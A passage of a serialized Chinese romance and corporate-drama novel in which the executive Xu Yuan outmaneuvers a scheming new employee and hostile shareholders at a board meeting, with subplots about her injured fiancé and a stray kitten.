“你背着许愿跟别的异性喝汤了?”韩城大大咧咧说话不过脑子,直接开口了。 包厢内一时静下来。 韩越唇角紧跟着抽了抽。 他真是觉得自己的弟弟有时候有些蠢了。 “胡说八道什么。” 韩越斥了句,韩城却不觉得自己问错了,开口问:“那不然还是什么意思。” 众人都分外好奇的看向两人,许愿嗯了一声:“其实算不得什么大事。” 许愿简短的解释了下,掐头去尾的提了下陆飞博,虽然没有直接提及陆飞博士容浔派来的人,却也足够让他们察觉到不对。 “所以,你做这份策划案,为的是设计陆飞博?” 这是黎云笙问的。 “显而易见。” 许愿笑容灿烂:“他既然那么想走捷径的成功,那我就要让他知道不是任何捷径都可以走的,他总要为此付出点代价。” 故意的越过她去见盛景炎让盛景炎的助理拿到那份资料其实就是在刻意挑拨他们的关系。 第302章 不觉得你心狠吗 现在外界还有很多人都在猜她和盛景炎之间有嫌隙,盛景炎手里的资产股份不一定是自愿送给她的,很多人都在猜是被许愿逼迫,如果真的是被逼迫,那陆飞博算是给了盛景炎一个与许愿抗争的机会。 可惜。 他算错了。 那一切就是盛景炎心甘情愿送到许愿手边的,他甘愿退居幕后成全许愿。 所以挑拨不成反倒容易变成笑柄。 既然这么喜欢挑拨的越级上报,她就让陆飞博自食恶果。 “所以这份项目书是真的吗,如果是真的我就投资了。” 韩城就盯着计划书想砸钱了。 许愿微微勾唇:“我拿我盛世盛华担保,项目书是真的。” “那我就投了?” 韩城开口了,这么香甜的一块蛋糕,没有人不爱吃,在场的人都不是傻子。 中途许愿接了通工作上的电话没在包厢,盛景炎觉得有些闷,他控制着轮椅到了包厢的阳台呼吸口新鲜空气,黎云笙跟在他身后,他没点烟,还记得之前抽烟被盛景炎以许愿不爱闻烟味儿这种离谱的原因把他的烟丢到垃圾桶了,巧的是温栩栩也不爱闻烟味儿,他有阵子没抽了,本来也没烟瘾,在衣服口袋里面摸索半天摸出两颗糖果。 水蜜桃味儿的。 这东西一看就不是他会买会吃的东西。 也就是温栩栩能干出这种事儿。 黎云笙眼眸暗了几分,即便人不在自己身边仿佛都能嗅到她身上蜜桃般的清甜香味。 盛景炎偏头就看到他手里的棒棒糖,正要顺手拿一根,黎云笙收回手重新放回衣服口袋,开口拒绝:“不能分给你,温栩栩买的,你要吃让你老婆给你买。” 盛景炎:“……” 盛景炎:“?” 盛景炎从无语到满头问号到最后简直是震惊的地步。 黎云笙说这话无异于是在他面前秀恩爱,仿佛是摁着他头让他看他和温栩栩之间有多恩爱。 有病吗? 就给你买个糖至于炫耀吗? 盛景炎嗤了一声,也不再纠结那一颗糖,黎云笙倒也还算厚道,从包厢里给他拿了根干酪棒,是今晚的小点心。 盛景炎接过,尝到满口的奶香味道。 眺望远方,看到远处灯火璀璨,他却只觉得心口有些空落落的。 “调节好了吗。” 黎云笙将糖果丢进嘴里,咬碎,满口的水果甜香味道。 “这么长时间了,该认清现实了,盛景炎,你不该一直躲在幕后。” 这段时间一直没联系盛景炎无非是担心他还没有恢复过来,自己冒犯联系还可能刺激到他,直到现在许愿组了这个局。 盛景炎是真的跟前阵子完全不一样了。 原来的盛景炎张扬肆意洒脱,现在的盛景炎眼底都能看透深沉的落寞感。 从天之骄子变成只能依靠轮椅生活的废物。 从云端跌落泥潭。 任何人都无法快速接受这样的真相。 “我只是有些累了。” 盛景炎没有说自己是否调节好,他说自己累了。 “累?你也有累的时候?”黎云笙不信,他垂眸看着盛景炎:“我讨厌许愿你是知道的,但即便如此我不得不承认许愿的优秀。” “据我所知隔壁区首富的嫡子宋观鱼就在A市,甚至在盛世,我安排的人说他一直都在关注许愿。” “盛景炎,你都没有任何危机感吗。” 黎云笙问的直接。 危机感? 他当然有。 但他只是单纯觉得自己确实配不上许愿。 “你想太多了。”盛景炎眼神暗淡似乎并不想继续交流。 黎云笙被他这副模样气笑了。 “行,你想怎么样都随你,我是管不了你的。” 黎云笙被气走了。 盛景炎没有动,仍然在看外面高楼和璀璨灯火。 黎云笙离开包厢,远远便看到许愿依靠在墙边姿态闲散的在打电话,她似乎在安排工作相关的事。 黎云笙快步走过去直接夺过许愿的手机,许愿顿了下看到时黎云笙便只是神色淡然的看他。 “许愿?你还没说接下来要怎么操作呢,许愿?许愿?” “其他事我明天会跟你细说。”许愿扬起声音回应,对面的陈飞豪哎了一声不等他说别的,黎云笙已经越矩的挂断电话。 “黎总,那是我的手机。” 许愿声音淡淡的,她没有生气,只是看向黎云笙时不带半分惧意,好像他们生来就是平等的 在她心里,他们确实是平等的。 “许愿,老实说我真的非常讨厌你。” 黎云笙不接她的话,自顾开了话茬。 许愿嗯了一声:“感觉的到。” 越是处于上位者越是能明确感受到身边人对自己的善意恶意,黎云笙对她没有善意没有恶意,是一种很复杂的情绪,总归是跟喜欢欣赏排不上号,像是觉得她多余。 黎云笙似乎想说些什么,但是看她这样直白的对话承认一时又被气笑了,看她这副云淡风轻的模样,黎云笙心里是真的在为盛景炎鸣不平。 “许愿,你不觉得你太心狠吗。” 这话怎么说? 许愿脸上仍然是温温柔柔的笑,她完全没有打断黎云笙的话,似乎等着他说完。 “盛景炎是因为你才被人报复,你心里很清楚。” “现在你把他当成什么?” “你心里真的有他?” “如果你心里有他,就不会在他最需要你的时候一直在盛世,在你心里权势地位是不是比一切都更重要,还是你早就想好了选择其他人在他最无助的时候将他踹开?” “许愿,你听着,如果你敢背叛他,我绝不会放过你。” 黎云笙一字一句带着狠辣的意味儿,漆黑的眼瞳中笼罩的是磅礴的危险。 许愿听到黎云笙的控诉内心只想发笑。 “黎云笙,你以为我在盛世是在做什么?你以为我守的是谁应得的家业,你以为我有了盛华还能看得上盛世?有时候别太把自己当回事,那么多人争抢的盛世我并不在意,如果我想我现在就可以轻而易举的毁掉盛世,但我没有,因为我守着的事盛景炎的所有物。” “我在盛世日日夜夜泡在研究室你是看不到吗?” 第303章 这小子没安好心思啊 “你说你是盛景炎的好友,那你告诉我,现在这种情况要怎么做才能让盛景炎恢复成原来那个意气风发潇洒不羁的模样?” “你要让我每天陪在他身边一遍遍的告诉他说爱他吗?这就够了吗?只是说爱他就能相信吗?” “说再多次都不如真的治好他的双腿让他重新站起来,只有让他重新站起来他自然会恢复成我们认识的熟识的盛景炎,而不是现在几近抑郁自卑堕落的盛景炎!” “因为他爱我所以他会认为现在断掉双腿的自己配不上我,他想将这世界最好的一切都给我,包括爱人,他认为自己不够好所以才会这样,因为我爱他,所以我会让他重新站起来,不惜一切代价。” “只有他站起来他才会争会抢回重新守在我身后。” 许愿看着面前的黎云笙吐出凉薄的字眼:“你可以厌恶我,但不可以侮辱我对盛景炎的爱意,不能轻易的抹杀掉我对他的感情。” “利益权势都比不过他。” “你们不懂他,只有我懂他。” 许愿一字一顿的反击回应。 她爱权势爱地位,这世界上没有人不爱这些,但比起这些现在她更在意的是盛景炎。 她现在守着的事盛景炎的公司,她泡在研究所研究的也是让盛景炎如何站起来,就像她对盛景炎承诺的那样,她会让他站起来再向她求婚。 她太清楚盛景炎现在的心理,因为她和盛景炎太像,如果是她遭遇到这一切,如果她真的深爱对方,哪怕自视甚高却还是认为自己不再配得上对方,除非自己能重新站起来。 许愿就是太了解盛景炎才会在这段时间给他足够的空间时间自己想清楚。 她和盛景炎都是同一类人,对方说再多的爱她们也只相信是现在承诺的爱意,他们最信得过的就是自己。 只有她们真的足够优秀,才能得到那些汹涌的爱意。 “我会让他站起来,我会让他恢复成原来的样子。” 许愿的承诺掷地有声。 头顶的灯光打在她身上,为她陇上一层淡淡的波光,她眼神坚毅认真,毫不退缩。 黎云笙看着眼前的女人,突然有些明白温栩栩说许愿跟其他人不一样,也明白盛景炎那样的人为什么会栽到许愿身上便心甘情愿的认栽。 她是真的优秀,她因为很多事跟对方共情,她会同情你,却会用一种对你伤害最小的方式帮助你,这样的人哪怕深的深陷泥潭也会凭借着自己满身的气力从泥潭爬出来。 她不就是这样做的吗? 她这样的人,确实配得上盛景炎。 这是盛景炎第一次完完全全的正视许愿。 纵然许愿已经转身离开,黎云笙还能看到她纤细的身影,充满着坚韧的力量感。 黎云笙很轻很轻的啧了一声,靠在墙上,从自己衣服口袋中取出手机。 从出来见到许愿那一刻开始他就在跟盛景炎通话,通话至今未切断。 “听到了吗。” “她是这样说的。” 黎云笙低笑:“我还是第一次有点欣赏你的……爱人。” “阿愿一直都是最好的。”电话那头传来盛景炎对许愿宠溺的笑意,片刻后声音又变冷:“谁让你跟阿愿这么说话的?你像质问犯人一样质问阿愿,黎云笙你是不是脑子有问题,阿愿爱权势爱地位怎么了,你不在意这些吗……” 盛景炎回过味儿来一字一句的往黎云笙身上砸,半点不记得这是自己好兄弟。 黎云笙:“……” 行。 多余管你。 跟你老婆恩爱去吧! 黎云笙冷着脸挂断电话。 他搓了把脸,他也觉得自己有病,就不该管这俩人,爱得死去活来的天造地设的一对儿,谁能分开他们两个。 黎云笙嗤笑一声,内心还是叹息一声。 但愿……许愿真的有能力让盛景炎重新站起来…… 跟黎云笙这些人敲定合同,陆飞博这边也跟人安排准备好了PPT和演讲稿,打算主持会议。 刚入职两个月就崭露头角,获得全体大佬的关注和赏识,这样的机会盛世其他人还从未有过 ,别说盛世没有,就是其它公司也少见。 除了……曾经进入傅氏早早因为谈判合同被傅京礼赏识成为傅氏高层的许愿。 众人眼神复杂的看着许愿,然后目光再度落到陆飞博身上。 许愿就坐在台下,唇角带着淡淡的微笑看着正在翻看演讲稿的陆飞博。 陆飞博察觉到他的目光,抬起头来,讨好一笑,露出两颗小虎牙。 许愿回以微笑,面容和悦。 陈飞鹏把脑袋凑过来,耳语道:“你说这小子到底卖什么关子,听说直接越过你把资料给了盛景炎,他到底怎么想的。” 许愿但笑不语。 “这小子没安好心思啊。” 陈飞鹏开口。 嘟嘟嘟,许愿曲起指关节,轻敲桌面,漆黑暗沉的眼眸看着台上的陆飞博,唇角笑意加深:“先看着吧,会有好戏的。” 陈飞鹏心头一凛,连忙退回原位。 他直觉那小子今天不会有好下场的,啧,得罪谁不好得罪许愿啊! 董事会成员陆续就位,陆飞博调整好麦克风的高度,在大屏幕上投出PPT的封面,宣布会议开始。 许愿看着台上的陆飞博,纵然是她也必须承认,这次会议非常成功。 陆飞博的计划可行性很高,能满足第二期预算的80%,剩下的缺口,盛世东拼西凑勉强能够填补。 已经有大股东提出让陆飞博执行这个融资计划,甚至大言不惭的想要许愿辅助陆飞博,让堂堂总裁辅助一个小职员,也亏那个董事能说出这种离谱的话。 但是如果这件事真的成功,陆飞博可能会打破盛世的升职记录。刚工作两月就进入研发部的权力核心。 别说在盛世,就是在整个圈层,怕是也只有许愿曾在傅氏凭借谈判合同进入傅氏高层。 此刻众人全都目光灼热的看向陆飞博。 坐在台下的董事会成员纷纷鼓掌,眼里全是激赏。 “许总,这么能干的下属,你可要好好培养。”有跟许愿不对付的公司高层忽然开口,引得大家纷纷附和。 第304章 这不是护短吗 “许总,这么能干的下属,你可要好好培养。”有跟许愿不对付的公司高层忽然开口,引得大家纷纷附和。 被后浪拍死在沙滩上,许愿心里是什么滋味? 用自己美貌换来的职位他坐得稳吗?遇到真正能力强的人,她感受到威胁了吗?将来的一段日子,她晚上能不能睡好觉? 盛衡就在下方坐着,缓慢拊掌,脸上全是讥嘲。 直到现在,盛衡仍然认为许愿能到达如今的高度是靠着那张脸。 陆飞博连忙弯腰鞠躬,感激地说谢谢许总给自己这次机会。 陆飞博的感谢,更像是对许愿的嘲讽。 他分明没有通过许愿没有通过段星河和研发部任何一个人,而是将资料交到了盛景炎手中,不论他是不是无意都已经跟许愿站在对立面让许愿处于尴尬境地。 什么样的领导人让自己的下属越级上报也不愿报给自己的上司? 许愿这样还配做盛世的领导人吗? 许愿脸色没有任何变化,仍然是笑吟吟的,她甚至在此刻扫向盛景炎冲他挑了下眉。 盛景炎终于意识到,董事会是故意让陆飞博牵头去执行融资计划,这样必定会让许愿处于极其尴尬的境地。 没有任何一家公司,下属职员是主力,而领导人是协助,这是在明晃晃的打许愿的脸,像是在故意告诉许愿,哪怕她靠着身份在金融峰会为盛世赢了那么多大饼赢得那么多合同,他们仍然不肯承认她,一旦有机会他们仍然会将许愿踢出高层取而代之。 而盛衡这边带带风向,陆飞博以后怕就是他的棋子,甚至可能在研发部搅浑水针对许愿。 盛景炎半分笑意都挤不出。 别人在鼓掌,他却连手臂都不敢抬,只是轻微的叹气。 最近一直没有关注公司的事,竟然连这样明显的小伎俩都没有发觉。 许愿看到他懊恼的模样也只是扬唇轻笑,见他这副模样也挺有意思的,算是陆飞博给他们演了一出精彩的好戏。 许愿观望着台下众人,等着那些人一跃而上群起攻之。 盛衡在此刻冒头笑呵呵地说道:“许总,给小陆当助手,你不会拉不下脸吧?你别想太多,一切都是为了工作。” “请问盛先生,我如今在盛世担任什么职务。” “自然是执行总裁。”盛衡回答。 “那么请问盛先生,我的工作我的职责是什么,让一家公司的执行总裁去协助一位……新人?这件事如果传出去,恐怕整个盛世都会变成上流圈层的笑话。” “不过我一直都不吝啬给新人展示自己的机会。”许愿冲站在讲台上的陆飞博扬了扬下颌,“小陆,你表现得很好,下来吧。” 陆飞博连忙从台上跑下来,脸色隐隐发白。 盛衡因为她的反驳回应脸色阴沉一瞬转而嗤笑一声,说道:“许总,你急什么?小陆讲得这么好,我们还有问题要问,你快让小陆上去。” “对,我有几个地方不清楚。许总,你让小陆给我们好好讲讲。”一名股东不太愉快地皱眉,恐怕已经在心里腹诽许愿的嫉贤妒能。 陆飞博站在许愿身边,一会儿看看各位高层,一会儿看看自己的直属上司,满脸恐慌,看着好像已经被许愿多次压制欺负的模样。 众人看向许愿的眼神多少都带着点深意。 许愿倒成了这场漩涡的中心人物,好像一切错处都是许愿造成的。 许愿脸上仍然带着笑意。 盛景炎冷声道:“够了,许愿现在是盛世的执行总裁,她有权利做任何决定!” 盛景炎的大哥盛明浔隐在股东之中声音温温柔柔的:“盛景炎,你既然已经将权利交到你的未婚妻手里,那就没有权利继续发表你的看法,现在股东询问的是许愿不是你,你也该清楚。” “就是,你都已经把股份资产都给许愿了,你还插手做什么,而且这份资料不是你让助理发给我们召开会议的?” “谁不知道许愿是你的未婚妻,我们还没说什么你就开始维护上了,生怕我们不知道你护短?” “病都病了,就老老实实在家养病,不要总出来给我们添乱了。” 股东们这种时候倒开始团结起来,还有人嘟囔着许愿有病自己愿意撒钱帮助那些贫民。 盛景炎眼神一暗,他想过会有人来阻拦自己,却没想到那人会是自己自小相依为命长大的大哥。 盛景炎深深的看了他一眼,脸上的神情明显带着讥讽。 就在这时,一沓文件被许愿放在桌上,打断了这句话。 她语气平淡地说道,“这是各大银行和几位投资人的融资意向书,第二期预算已经就位,各位股东都看看吧。” 因为盛世此次金融峰会参与太多合作资金周转不开所以才急需融资,如果陆飞博能做好这次准备拿陆飞博就能一冲飞天,但显然他这颗暗棋还是被许愿盯上了。 本来装出满脸恐慌的陆飞博此刻目光呆滞眼神慌张凌乱,惨白的脸瞬间涨红。 什么计划书? 许愿也做了融资计划书? 那许愿岂不是早就做好了应对的策略故意等着看自己的笑话! 他忽然意识到,自己被许愿耍了!今天这场会议,坐在台下的许愿完全把他当成了跳梁小丑! 会议室里非常安静,股东们也意识到了不对。 他们可不止一次被许愿耍弄打脸了。 许愿的助理从后排站起身,把早已准备好的合同分发下去。 纸张翻动的声音沙沙作响。 这是韩越黎云笙看过后都会参与投资的合作案,这群草包肯定也能看懂,就看他们会是什么反应了。 资料显示的确是各大银行和几名投资人的融资意向书,第二期预算全部到位,盛世的压力骤然减轻。 “这是我跟韩家黎家及盛华和各大银行谈好的合同计划,你们可以仔细看看,当然,如果你们认为小陆的计划更好的话我也没有意见,你们有其他想法也可以现在提出来。” 第305章 她把所有人耍了 许愿笑吟吟的,但是脸上写着的是“有意见可以提但我坚决不改。” 股东们脸色白了又白。 是的,他们怎么就忘了许愿的号召力和所处的人脉圈。 刚才陆飞博在台上说得那些计划,现在一条都用不上。 今天的会议,确切来说不是会议,是许愿为陆飞博搭的戏台子。 陆飞博是主演,这里的每一个人都是帮他配戏的群演,许愿和盛景炎是这里知道真相的看客。红脸白脸黑脸,武生老生花旦,所有人轮番登场,一唱一和想要围堵她从她身上撕扯出血肉来,实在热闹可笑。 直到此时,大饱眼福看了一出好戏的许愿才如愿的在耍弄了所有人后一下一下缓慢鼓掌,勾唇说道:“小陆,辛苦了,你的计划书写得很好,你是这一批新人里面最优秀的,不愧是我看上的人。” 陆飞博脸色忽红忽白,十分难看。 这是一句夸奖吗?不,这是一个巴掌,狠狠扇在他脸上,也扇在盛衡等人的脸上。 许愿把所有人都耍了! 前半句话是在打所有人的脸,不仅打了陆飞博的脸还打了那些股东的脸,而后面那句话则是在警示陆飞博,告诉他,她早就盯上他了,以后说话做事小心些,从最开始许愿就已经盯上了他。 所以说,很有可能她的一举一动都在许愿的监视下。 陆飞博整个人都开始颤抖。 空气已经凝固,盛衡把牙齿都快咬碎。 许愿看着陆飞博,满眼都是激赏,语气格外真诚:“小陆,再努力几年,我这个位置都能让给你来坐。” 这句话像一个无形的耳刮子,裹着劲风扇来,又疼又羞耻。许愿无疑是在警告陆飞博。 陆飞博听出来了,许愿的位置? 盛世的执行总裁,他是疯了才敢想这个位置。 陆飞博立刻深深弯腰表态,嗓音微颤:“许总,您抬举我了。我这点东西太浅薄,赶不上您万分之一。我还有很多方面需要学习,劳烦您教我。” 现在的他不曾想到,刚才那个意气风发的自己,不过是个涂着脂粉的丑角罢了。 头颅低垂的时候,陆飞博深吸一口气,双拳握得死紧。 他从未想到自己在许愿眼里成了如此可笑的跳梁小丑。 他以为许愿是个靠着美色在商圈立足的人,是他小看了许愿。 小看自己的敌人才是最可怕的事。 盛景炎昨晚根本没注意许愿跟黎云笙他们谈了什么,此刻自然也在快速翻看合同,脸上满是笑意。 这样的结果当然是他乐见其成的。 他的阿愿就是最好的,任何人都比不上的好。 “许总现在已经是执行总裁,但是只掌管研发部和其他几个部门其实有些过于屈才了,等以后我会将所有的权利都让渡给你。”直到此时,盛景炎才能明目张胆地表现出自己的偏爱。 众位大股东陆续回神,连连附和,看着许愿的目光有忌惮,有欣赏,还有算计。 陆飞博只是一个小职员,他能力再强也不过是个棋子,谁都能拿来用一用。一个棋子影响不了大局。 但许愿不同。 以许愿现在的能力和地位,她已经威胁到很多人。 甚至盛世都要真的快改姓许了。 盛家人是这其中最咬牙切齿的一群人。 盛衡哗啦啦地翻看合同,勉强挤出一抹笑容。另外几个高层也都是眼神晦暗,面容莫测。 一旦盛景炎真的将全部的权利让渡给许愿,那他们这些高层还有什么用?以后做任何决定都要听从许愿安排仰人鼻息?太可笑了! 对此许愿面色平静,好像并不会因为这件事而有多兴奋。 事实如此。 她有盛华,本就不会多高看盛世。 “盛景炎,你把一切权利让渡给许愿倒不如让给盛家人和其他高层,许愿一个人到底能力有限,如果真的出了错这责任谁来担。” 盛衡反驳。 盛景炎抬眸,目光落在他的脸上,只淡淡扫了眼。 “盛明浔从没有关注过金融相关的任何事,他进入管理层只会惹出乱子,至于盛明宇?他惹出来的乱子还少?让他们进入高层,你的盛世还想不想要。” 他不提旁的高层,只拿盛明浔和盛明宇来堵盛衡的嘴。 盛衡的脸阴了又阴:“许愿,你也这么想?你要知道,做人可不能太贪心。” 这种时候盛衡还在明里暗里的威胁,许愿当然是会选择站在盛景炎身边。 她站起身,语气平静:“盛景炎这句话可以先给我留着,等研发部做出重大成果,我等着完全接手盛世。” 她丝毫也不掩饰自己的目标,就是要完全拿下盛世。 盛衡的脸色更难看,许愿显然就没打算搭理他! “重大成果?看来许总已经是胜券在握。”盛景炎挑眉,修长手指轻轻拨弄领带。 他无法不去注视许愿。 没有聚光灯,他的阿愿却仍然如此耀眼。这么美的一张脸,这么野的一双眼,此刻在他看来她就像是野外具有极强攻击力的难以驯服的美丽雪狼。 光是站在那里,许愿就能让盛景炎眼神炽热。 这么严肃的场合,盛景炎脑子里塞满的,却全都是旖旎的畸念,想象着如何拥抱她亲吻她。 许愿瞥他一眼,似笑非笑。 “从现在开始,你可以期待研发部的好消息。” 说完这句话,许愿漫不经心地扫了陆飞博一眼。 这个僵硬站立的年轻人,眉骨上的肌肉忽然轻跳一瞬,这是剧烈的心理活动引发的不可控微表情。 许愿心里大概有数,曲起指关节轻敲桌面,宣布道:“散会吧,明天早上十点半召开融资工作调度会。” 所有人都关注到许愿已经完全掌控全局,成了在盛世发号施令的那一个。 所有人好像都没办法反抗她的命令,只能被她牵着鼻子走。 陆飞博的计划还处于构思阶段,离成功差了十万八千里,许愿却已经启动融资进程,大获全胜。 两人摆在一起,对比实在是强烈。 盛衡面色漆黑,呼吸加重。 第306章 回家等我 此刻与盛衡一个派系的人心里十分忌惮,却还得露出欣赏的笑容,但是心里面都在盘算着要怎么把许愿拉下来。 许愿今天没怎么说话,但她只要一张口,就会往某些人心里插刀。 坐上高层管理者的位置等于正式踏入战场,许愿自然不会对敌人仁慈,所以一直都是出手狠辣。 陆飞博此刻还能强撑着站立,心理素质已经很强大。 但此刻陆飞博的表情管理已完全失控,面皮红得透亮,仿佛轻轻一戳就能破裂,他在羞耻。 盛衡站起身,差点撞翻背后的椅子。嘎吱嘎吱的响声让他面露难堪。 许愿能力太强,用不了几年,不要说执行总裁的位置,就是盛世都会完全属于她,甚至……余下的股份许愿也会一点一点的收回来完全成为她的所属,真的到那时候盛世就成了许愿的一言堂。 面对如此强劲的敌人,盛衡感觉到了莫大的压力。与他一个派系的人,笑容已经显得十分勉强。 陈飞鹏站起来,乐呵呵地拍了拍陆飞博肩膀。 “年轻人啊,还是差点火候。” 陆飞博整个人有些恍惚,他知道陈飞鹏这话什么意思,这是说他急功近利。 陆飞博脸色骤变,他知道现在很多人都盯上他了,盛衡那群人会认为他是小丑,许愿陈飞鹏等人会提防他,以后在盛世更是寸步难行。 “我还以为你真的佛了,没想到你依然是只老虎。”大拇指悄悄竖起,陈飞鹏率领自己的下属缓步离开会议室。 他是轻松的,因为他早就放弃了与许愿争斗,他现在跟许愿才是一条船上的人,许愿站得越高他得到的利益才更多。 盛景炎的助理收拾好桌上的文件,用担忧的目光看向盛景炎。 养了这么凶狠的一匹狼,盛总难道就不害怕反噬吗?今天这场会议,大家敲锣打鼓好一番闹腾,也不过是取悦许愿的一场戏。 被这么耍弄,大家不敢发怒,还得拍手为许愿叫好。 这样的野心家,会甘心一直屈居人下? 有些话心里想想就好,不能说出来。助理再度看向盛景炎,却发现他目光一直追随着许愿。 助理内心叹了一口气。 这是许愿跟盛景炎之间的事,他也不好掺进去,这两人算是一个愿打一个愿挨。 “许总,今天晚上还加班吗?”盛景炎询问。 “今晚要把预算表做出来,明天开调度会要用。” 许愿停在他身边,眼尾弯弯:“想跟我一起吃饭?那我把工作带回去做?你陪我一起?” “这些本来就该是你的工作。” 盛景炎很轻很轻的叹了口气。 “我当然会陪你,你不说我都会陪你。” “对,我还要回家陪你喝奶油蘑菇汤呢。”许愿眼眸微闪,像是故意逗他。 盛景炎愣了好一会儿才低头扶额,发出哀叹。 醋劲怎么这么大?奶油蘑菇汤这个梗要用到什么时候?以后年纪大了,头发白了,这一页是不是还会被翻出来算旧账? 想到以后还会被许愿翻旧账找麻烦盛景炎眼底的苦恼竟化为了满足的笑意。 许愿这才笑着在他耳边轻吻了下:“回家等我。” 话落盛景炎握住她的掌心轻捏了下才放开。 陆飞博远远坠着,不敢靠近。 许愿扫视对方,眸光微闪。 给陆飞博搭台子,让他唱戏,完了又拆台子,叫他狠狠摔一跤。 这样做不是因为许愿小心眼容不得下属爬到自己头上,她有别的相互发。 狗急跳墙,兔急蹬鹰,人急了就会自乱阵脚。许愿想测一测,陆飞博的真实目的是什么。 电梯门开了,许愿的属下鱼贯走进轿厢。 陆飞博跟进去,僵硬地缩在角落。明明是一个部门的同事,却泾渭分明地站成两个阵营。 有人已经在小声议论陆飞博越级上报的事,时不时的偷瞟陆飞博几眼,声音不小足以让陆飞博听到,陆飞博白着一张脸躲在角落一声不吭。 许愿缓步走进电梯,助理立刻松开开门键。 门缓缓关上,许愿细长的指尖轻轻拨弄领带,眼微微一眯,冲站在门外的高层们露出一个讥讽的表情。 电梯轿厢里,许愿看向缩在角落,头颅低垂的陆飞博。 “小陆,这次机会非常难得,你把握得很好。” 一个无形的耳光扇到陆飞博脸上。 机会把握得很好?是指利用盛景炎的助理递交计划书的事吗? 几道嘲弄的目光投射过来,刺痛了陆飞博。 他抬起头,讷讷难言,脚趾羞耻地蜷缩。 “面对那么多老总,你紧不紧张?这次会议你收获了什么?回头我们内部开一个小会,你跟大家分享一下心得体会。” 这哪是什么小会?分明是公开处刑!陆飞博红白相间的脸涨成了青紫色。 原来所谓社会性死亡是这么恐怖的一件事。 那些嘲弄的目光,渐渐变成了怜悯。 “许总……这次的事情我是真的不知情,是有人拿了我的资料被盛总的助理看到……我是无辜的……” 他真的做出了一副无辜的表情。 那名撞到盛景炎将奶油蘑菇汤撒到盛景炎身上的女人脸也涨红,支支吾吾:“抱歉许总,这件事我真的不是故意的,我只是觉得小陆这份策划做的很好想跟大家分享下,没想到会撞到盛总……” 她着急的解释。 许愿冷淡的瞥她一眼。 “到底是故意还有计划好的你自己心里清楚,那个角度穿着平底鞋的你不偏不倚能把汤撒到盛景炎身上你也是能人,这次的事倒也让我知道研发部还是能人辈出的,我该感谢你让小陆崭露头角。” 电梯门开了,许愿很轻的笑了一声后才率先走出去留下一句平淡的话开口道:“今晚加班做预算表,算你们五倍加班费。” 下属们立刻发出欢呼的声音。 没等他们欢呼完许愿头也不回地摆手:“这个月奖金翻倍。” 下属们瞬间露出更加惊喜的笑容,一个个精神振奋,大声应诺。 看着许愿的背影,他们眼里全都闪烁着崇拜的光。 第307章 欢迎许总大驾光临 员工们心里清楚若不是上司有本事,拿到这么多预算,翻倍奖金哪里来?年终奖金怕是也会翻倍! “许总辛苦了!” “许总最近一直泡在研发部加班工作,今晚就别加班了,回去休息吧。” “是啊,预算表交给我们做就好了。” 一群人追上去,真心实意地表达着关怀。 这就是许愿的魅力。 她可以强势打压,也可以怀柔安抚,该硬的时候硬,该软的时候软,抓住一切能抓住的机会,迅速往上爬。 跟许愿比,自己果然还是太嫩。 陆飞博站在原地注视许愿的背影,眸光晦暗莫测。 许愿走进段星河的办公室,身边跟着段星河的小飞机 “欢迎许总大驾光临。”段星河坐在电脑前,懒洋洋地念着台词。 许愿低声笑了笑,把几张表格递过去。 “研究经费我帮你凑齐了。你要买什么设备和材料自己填。”她站在段星河身后声音隐含着笑意 段星河拿起表格,挑眉问道,“什么贵我填什么,这样也可以?” “可以。”许愿抱胸毫不在意。 姿态慵懒的段星河慢慢直起身体身体,他握住鼠标,飞快点开几个文件,说道:“这上面的仪器和材料,我都要。” “给你买。”许愿答应地很快。 “智能系统安全性能测试已经开始了,你赶紧把钱给我批下来。” “马上批。”许愿笑着应诺,说出让研究人员听着最为心动的话。 段星河顿了下,看着近在咫尺的与苏青莲如此相像的一张明媚容颜一时失神。 恍惚间仿佛看到了过去的苏青莲。 他连忙翘起二郎腿,掩饰自己的失态。热流在血管里冲刷,感觉十分难耐。 他似乎是真的有些过于想念苏青莲了。 “你在看什么?”许愿察觉到他的异样开口询问。 段星河一时失言片刻后才开口:“只是想到没能追踪到苏青莲的代码有些颓丧。” “总有一天我会让你见到她的,不会让你等太久。” 许愿拍拍段老师肩膀,语气恢复了公事公办的严肃:“把表格填好之后叫人送过来,我今晚加班做预算。” 她转身离开,随意地摆手。 段星河转动椅子,看着她的背影。 璀璨灯光下,望着许愿单薄纤细的背影,段星河都很难想象到她一个人扛着盛华和盛世的重担。 也对啊。 她毕竟是许愿。 如果是许愿应下的事,总会做到的不是吗。 段星河轻抚薄唇,对未来更多了几分期待。 后悔跟盛世签约?怎么会呢。这里有许愿,卖身契他也认了。 半夜十一点多,许愿终于做好预算表,站起身说道:“辛苦大家了,快回去休息吧。” “许总也辛苦了!”几名下属站起来伸懒腰,满脸都是解脱。 等大家都走光了,许愿关掉电灯,研发部却还在加班,许愿叫了外卖分发下去,夜宵甜点热饮冰饮全都有,研发部本就已经对许愿没有意见了,又因为许愿碾压她们的实力早就对她心悦诚服,又是一阵欢呼。 出了盛世的门,接到了宋观鱼的电话。 许愿顿了下,没有接听。 宋观鱼欺骗她的事她虽然没有放在心上也不是多在意,但……好吧,她是真的很讨厌被欺骗,不过这件事既然宋观鱼没有主动开口她也不会直接戳破。 只是会隐晦的远离他。 今晚没有月亮,星星很少,风有点大,已经九月了,气温降低,许愿穿上西装外套,扣好扣子才去往停车场。 一个高大的身影坐在昏黄路灯下,怀里抱着一只灰色的小团子。 许愿微顿连忙走过去。 到了近前他才发现,宋观鱼把衣服敞开,将小团子严严实实裹住。 外面风有些凉,小团子在瑟瑟发抖,但他的怀抱应当是温暖如春的。 许愿淡漠的眉眼不知不觉溢出温柔。 宋观鱼虽然骗了她……但是也可以理解的不是吗,毕竟不会有人一上来就说自己是首富的继承人,可能也没几个人会相信。 她眼神有些微妙的看着面前的宋观鱼。 “你抱着猫等我?这只猫满月了吗?你从宠物店买回来的?” 许愿半蹲下身看着眼前的小灰团子。 “这么小的猫,你给她准备猫砂猫粮了没有,小猫咪肠胃很脆弱的……” 许愿说这些话时宋观鱼就在一旁有些呆呆愣愣的看着她。 他是真的觉得许愿此刻好温柔,是那种带着……难以言喻的母性的那种温柔感觉。 她在说话时宋观鱼望着她,小猫咪也望着她, 一人一猫立刻转头看他,同样清澈的两双眼眸,带着同样的快乐。 许愿情不自禁勾起唇角。 宋观鱼只是看着她就觉得自己像是喝了酒一样快醉了,脑袋晕晕乎乎,被强烈的幸福感充斥。 好半晌他才回过味儿来:“许总,这是我在附近捡到的小猫,就在附近商店门口的路边,她一直跟着我冲我喵喵叫。” 许愿微不可查的皱了下眉。 